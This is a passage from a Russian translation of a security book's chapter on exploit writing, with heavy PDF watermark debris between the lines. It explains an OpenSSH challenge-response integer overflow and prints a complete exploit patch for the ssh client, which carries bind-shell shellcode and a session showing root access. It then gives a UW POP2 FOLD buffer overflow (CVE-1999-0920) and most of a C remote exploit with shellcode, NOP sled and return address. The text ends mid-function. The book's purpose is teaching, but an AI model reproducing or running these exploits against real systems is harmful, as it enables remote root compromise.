Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

.pdf
Скачиваний:
14
Добавлен:
19.04.2024
Размер:
3.68 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

Пример: уязвимость OpenSSH из за переполнения целого в процедуре оклика/отзыва 571

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

-xchíîéa

 

функцией xmalloc в строке 3. Если значение nresp окажется велико, напри-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мер, 0x40000400, то возникнет переполнение целого и xmalloc выделит всего 4096 байтов. Затем OpenSSH попытается записать nresp указателей в выделенный массив (строки 4-6), что приведет к затиранию кучи.

Детали эксплойта

Реализация эксплойта для этой уязвимости тривиальна. В OpenSSH используются многообразные указатели на функции очистки. Все они вызывают код, размещенный в куче. Поместив shell-код по любому из этих адресов, можно заставить программу его выполнить и, стало быть, получить оболочку с правами root.

Пример вывода от программы sshd, запущенной в режиме отладки (sshd -dd):

debug1: auth2_challenge_start: trying authentication method 'bsdauth' Postponed keyboard-interactive for test from 127.0.0.1 port 19170 ssh2 buffer_get: trying to get more bytes 4 than in buffer 0

debug1: Calling cleanup 0x62000(0x0)

Таким образом, нам достаточно разместить свой shell-код по адресу 0x62000. Это совсем просто, нужно лишь записать его в кучу, когда буфер переполнится, а затем скопировать куда нужно.

Кристоф Девин (Christophe Devine) (devine@iie.cnam.fr) написал заплату для клиента OpenSSH, которая включает и код эксплойта. Его заплата и инструкции к ней прилагаются:

1 1. Загрузить openssh-3.2.2p1.tar.gz и раскрыть архив

2

3 ~ $ tar -xvzf openssh-3.2.2p1.tar.gz

4

5 2. Наложить приведенную ниже заплату, выполнив команды:

6

7 ~/openssh-3.2.2p1 $ patch < path_to_diff_file

8

9 3. Откомпилировать залатанного клиента

10

11 ~/openssh-3.2.2p1 $ ./configure && make ssh

12

13 4. Запустить "исправленный" ssh:

14

15 ~/openssh-3.2.2p1 $ ./ssh root:skey@localhost

16 17 5. Если эксплойт сработал, можно соединиться с портом 128 с другого

терминала:

18

19 ~ $ nc localhost 128

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

572 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

20 uname -a

21 OpenBSD nice 3.1 GENERIC#59 i386

22 id

23 uid=0(root) gid=0(wheel) groups=0(wheel)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

24

25

— sshconnect2.c

Sun Mar 31 20:49:39 2002

26

+++ evil-sshconnect2.c

Fri Jun 28 19:22:12 2002

27

@@ -839,6 +839,56 @@

 

28/*

29* разобрать INFO_REQUEST, запросить пользователя и послать * INFO_RESPONSE

30*/

31+

32+int do_syscall( int nb_args, int syscall_num, ... );

33+

34+void shellcode( void )

35+{

36+ int server_sock, client_sock, len;

37+ struct sockaddr_in server_addr;

38+ char rootshell[12], *argv[2], *envp[1];

39+

40+ server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );

41+ server_addr.sin_addr.s_addr = 0;

42+ server_addr.sin_port = 32768;

43+ server_addr.sin_family = AF_INET;

44+ do_syscall( 3, 104, server_sock,

45(struct sockaddr *) &server_addr, 16 );

46+ do_syscall( 2, 106, server_sock, 1 );

47+ client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)

48+ &server_addr, &len );

49+ do_syscall( 2, 90, client_sock, 0 );

50+ do_syscall( 2, 90, client_sock, 1 );

51+ do_syscall( 2, 90, client_sock, 2 );

52+ * (int *) ( rootshell + 0 ) = 0x6E69622F;

53+ * (int *) ( rootshell + 4 ) = 0x0068732f;

54+ * (int *) ( rootshell + 8 ) = 0;

55+ argv[0] = rootshell;

56+ argv[1] = 0;

57+ envp[0] = 0;

58+ do_syscall( 3, 59, rootshell, argv, envp );

59+}

60+

61+int do_syscall( int nb_args, int syscall_num, ... )

62+{

63+ int ret;

64 +

asm(

 

 

65 +

"mov

8(%ebp), %eax; "

66 +

"add

$3,%eax;

"

67 +

"shl

$2,%eax;

"

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

Пример: уязвимость OpenSSH из за переполнения целого в процедуре оклика/отзыва 573

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

"add

%ebp,%eax; "

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-x chan

e

 

 

 

 

df-xchan68 +

 

 

 

 

 

 

 

 

 

 

 

 

 

69 +

"mov

8(%ebp), %ecx; "

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

70 +

"push_args: "

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

71 +

"push

(%eax); "

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

72 +

"sub

$4, %eax; "

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

73 +

"loop

push_args; "

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

74 +

"mov

12(%ebp), %eax; "

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

75 +

"push

$0; "

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

76 +

"int

$0x80; "

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

77 +

"mov

%eax,-4(%ebp)"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

78 +

);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

79 +

return( ret );

 

 

 

 

 

 

 

 

 

 

 

 

80+}

81+

82void

83input_userauth_info_req(int type, u_int32_t seq, void *ctxt)

84{

85@@ -865,7 +915,7 @@

86xfree(inst);

87xfree(lang);

88

89- num_prompts = packet_get_int();

90+ num_prompts = 1073741824 + 1024;

91/*

92* Начать построение пакета INFO_RESPONSE, включающем нужно число

93* приглашений. Мы обязуемся послать правильное число ответов,

94@@ -874,6 +924,13 @@

95*/

96packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);

97packet_put_int(num_prompts);

98+

99+ for( i = 0; i < 1045; i++ )

100+ packet_put_cstring( "xxxxxxxxxx" );

101+

102+ packet_put_string( shellcode, 2047 );

103+ packet_send();

104+ return;

105

106debug2("input_userauth_info_req: num_prompts %d", num_prompts);

107for (i = 0; i < num_prompts; i++) {

Ниже приведен пример сеанса связи с использованием модифицированного клиента ssh, содержащего код эксплойта:

1$ ssh root:skey@127.0.0.1&

2$ telnet 127.0.0.1 128

3id;

4uid=0 (root) gid=0 (wheel)

5

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

574 Глава 11. Написание эксплойтов II

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

Это эксплойт присваивает переменной nresp значение 0x40000400, застав--x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ëÿÿ malloc выделить 4096 байтов памяти. При этом в цикл копируется гораздо

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

больше данных, которые выходят

за границу буфера и затирают кучу.

 

 

 

 

 

 

В OpenSSH есть много указателей на функции, которые находятся в куче вслед за выделенным буфером. Эксплойт копирует shell-код непосредственно в кучу в надежде, что SSH выполнит его, когда вызовет функцию очистки, а так оно чаще всего и бывает.

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE 1999 0920

В версии 4.4 и более ранних POP2-сервера разработки Вашингтонского университета имеется ошибка, связанная с переполнением буфера. Атака на нее позволяет получить удаленный доступ к системе от имени пользователя «nobody».

Детали уязвимости

Ошибка допущена в следующем фрагменте программы:

1 short c_fold (char *t)

2 {

3unsigned long i,j;

4char *s, tmp[TMPLEN];

5if (!(t && *t)) { // проверим, что аргумент задан

6puts("- Не задано имя почтового яшика\015");

7return DONE;

8}

9// уничтожить старый поток

10if (stream && nmsgs) mail_expunge (stream);

11nmsgs = 0; // больше нет сообщений

12if (msg) fs_give ((void **) &msg);

13// не разрешаем прокси покинуть IMAP

14if (stream && stream->mailbox &&

 

(s = strchr (stream->mailbox,'}'))) {

15

strncpy(tmp,stream->mailbox,i = (++s – stream->mailbox));

16

strcpy (tmp+i,t);

// добавить почтовый ящик

17t = tmp;

18}

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE 1999 0920 575

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

 

В строке 16 вызывается функция strcpy, которая копирует данные, посту-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пившие от пользователя (на них указывает переменная t), в буфер tmp. Åñëè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

злонамеренный пользователь пошлет POP2-серверу команду FOLD длины,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

большей чем TMPLEN, то произойдет переполнение стека, и, значит, откры-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вается возможность для удаленной атаки. Чтобы воспользоваться этой уязви-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мостью, противник должен убедить POP2-сервер соединиться с доверенным

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IMAP-сервером, на котором есть действующая учетная запись. После того

 

 

 

 

 

 

 

 

 

 

 

 

 

 

как такой «анонимный прокси» организован, можно отправлять команду

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FOLD.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После переполнения в стеке оказываются посланные пользователем дан-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ные, которые затирают сохраненное значение регистра EIP. Подготовив

 

 

 

 

 

 

 

 

 

 

 

 

 

 

строку, которая содержим команды NOP, shell-код и адрес возврата, атакую-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

щий сможет получить удаленный доступ к системе с правами пользователя

 

 

 

 

 

 

 

 

 

 

 

 

 

 

«nobody». Ниже приведен код эксплойта.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1

 

#include <stdio.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2

 

#include <errno.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

3

 

#include <unistd.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

4

 

#include <string.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5

 

#include <stdlib.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

6

 

#include <netdb.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

7

 

#include <netinet/in.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

8

 

#include <sys/socket.h>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

9

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

10

 

#define RET 0xbffff64e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

11

 

#define max(a, b) ((a) > (b) ? (a):(b))

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

12

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

13 int shell(int);

14int imap_server();

15void usage(char *);

16int connection(char *);

17int get_version(char *);

18unsigned long resolve(char *);

20 char shellcode[] =

21"\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"

22"\x89\xe3\x52\x54\x54\x59\x6a\x0b\x58\xcd\x80";

24 struct platform {

25char *version;

26int offset;

27int align;

28};

29

30 struct platform targets[4] =

31 {

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

576 Глава 11. Написание эксплойтов II

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-x chan

e

 

 

 

 

df-xchan

32 { "v4.46", 0, 3 },

 

 

 

 

 

 

 

33 { "v3.44", 0, 0 },

34 { "v3.35", 0, 0 },

35 { NULL, 0, 0 }

36 };

37

38 int main(int argc, char **argv)

39{

40int sockfd, i, opt, align, offset, t;

41char *host, *local, *imap, *user, *pass;

42unsigned long addr;

43char sendbuf[1024], voodoo[1004], hello[50];

44struct platform *target;

45

46host = local = imap = user = pass = NULL;

47t = -1;

48offset = align = 0;

49

50 setvbuf(stdout, NULL, _IONBF, 0);

51

52 printf("Linux ipop2d buffer overflow exploit by bind / 1999\n\n");

53

54while((opt = getopt(argc, argv, "v:l:i:u:p:a:o:t:")) != EOF) {

55switch(opt) {

56case 'v': host = optarg; break;

57case 'l': local = optarg; break;

58case 'i': imap = optarg; break;

59case 'u': user = optarg; break;

60case 'p': pass = optarg; break;

61case 'a': align = atoi(optarg); break;

62case 'o': offset = atoi(optarg); break;

63case 't': t = atoi(optarg); break;

64default: usage(argv[0]); break;

65}

66}

67

68if(!host)

69usage(argv[0]);

71if(!local && !imap) {

72printf("Необходимо указать IMAP-сервер или ваш IP-адрес \n");

73exit(-1);

74}

75

76if(imap && !user) {

77printf("Для стороннего IMAP-сервера задайте имя пользователя\n");

78exit(-1);

79}

80

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE 1999 0920

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

 

if(imap && !pass) {

 

 

 

df-xchan81

 

 

 

 

 

 

 

 

82

 

 

printf("Для стороннего IMAP-сервера задайте пароль\n");

 

 

 

 

 

 

83

 

 

exit(-1);

 

 

 

 

 

 

84

 

 

}

 

 

 

 

 

 

85

 

 

 

86if(!imap) {

87if(geteuid()) {

88printf("Ошибка: для работы с псевдо IMAP-сервером нужны "

"права root\n");

89exit(-1);

90}

91}

92

93if(t < 0) {

94printf("Определяю версию сервера.");

95t = get_version(host);

96}

97

98 target = &targets[t];

99

100if(imap)

101snprintf(hello, sizeof(hello), "HELO %s:%s %s\r\n", imap, user,

pass);

102else

103snprintf(hello, sizeof(hello), "HELO %s:test test\r\n", local);

105 align += 64 – (strlen(hello) – 2);

106

107sockfd = connection(host);

108if(sockfd < 0) {

109printf(".ошибка\n");

110exit(-1);

111}

112

113 send(sockfd, hello, strlen(hello), 0);

114

115if(!imap) {

116if(imap_server() < 0) {

117close(sockfd);

118exit(-1);

119}

120} else {

121printf("Æäó ïîêà IMAP-сервер не аутентифицирует POP2");

122for(i = 0; i < 10; i++) {

123printf(".");

124sleep(1);

125if(i == 9) printf("завершено\n");

126}

127}

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

577

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

578 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

128

129 putchar('\n');

130

131

132memset(voodoo, 0x90, 1004);

133memcpy(voodoo + 500, shellcode, strlen(shellcode));

135 addr = RET – target->offset – offset;

136

137for(i = (strlen(shellcode) + (600 + target->align+align)); i <= 1004; i += 4)

138*(long *)&voodoo[i] = addr;

139

140snprintf(sendbuf, sizeof(sendbuf), "FOLD %s\n", voodoo);

141send(sockfd, sendbuf, strlen(sendbuf), 0);

142

143 shell(sockfd);

144

145exit(0);

146}

147

148int get_version(char *host)

149{

150int sockfd, i;

151char recvbuf[1024];

152

153sockfd = connection(host);

154if(sockfd < 0)

155return(-1);

156

157 recv(sockfd, recvbuf, sizeof(recvbuf), 0);

158

159for(i = 0; targets[i].version != NULL; i++) {

160printf(".");

161if(strstr(recvbuf, targets[i].version) != NULL) {

162printf("adjusted for %s\n", targets[i].version);

163close(sockfd);

164return(i);

165}

166}

167

168close(sockfd);

169printf("никаких изменений не сделано\n");

170return(0);

171}

172

173 int connection(char *host)

174{

175int sockfd, c;

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

 

 

i

r

 

P

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

w Click

Пример: уязвимость в UW POP2, связанная с переполнением буфера, CVE 1999 0920

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

 

p

d

 

 

 

 

 

 

e

 

 

struct sockaddr_in sin;

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

f-

xch176

 

 

 

 

 

 

 

an

 

 

 

 

 

 

177

178sockfd = socket(AF_INET, SOCK_STREAM, 0);

179if(sockfd < 0)

180return(sockfd);

181

182sin.sin_family = AF_INET;

183sin.sin_port = htons(109);

184sin.sin_addr.s_addr = resolve(host);

186c = connect(sockfd, (struct sockaddr *)&sin, sizeof(sin));

187if(c < 0) {

188close(sockfd);

189return(c);

190}

191

192return(sockfd);

193}

194

195int imap_server()

196{

197int ssockfd, csockfd, clen;

198struct sockaddr_in ssin, csin;

199char sendbuf[1024], recvbuf[1024];

201ssockfd = socket(AF_INET, SOCK_STREAM, 0);

202if(ssockfd < 0)

203return(ssockfd);

204

205ssin.sin_family = AF_INET;

206ssin.sin_port = ntohs(143);

207ssin.sin_addr.s_addr = INADDR_ANY;

209if(bind(ssockfd, (struct sockaddr *)&ssin, sizeof(ssin)) < 0) {

210printf("\nError: bind() failed\n");

211return(-1);

212}

213

214 printf("Псевдо IMAP-сервер ждет соединения.");

215

216if(listen(ssockfd, 10) < 0) {

217printf("\nОшибка listen()\n");

218return(-1);

219}

220

221 printf(".");

222

223clen = sizeof(csin);

224memset(&csin, 0, sizeof(csin));

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

579

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

580 Глава 11. Написание эксплойтов II

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

225

226csockfd = accept(ssockfd, (struct sockaddr *)&csin, &clen);

227if(csockfd < 0) {

228printf("\n\nОшибка accept()\n");

229close(ssockfd);

230return(-1);

231}

232

233 printf(".");

234

235 snprintf(sendbuf, sizeof(sendbuf),

"* OK localhost IMAP4rev1 2001\r\n");

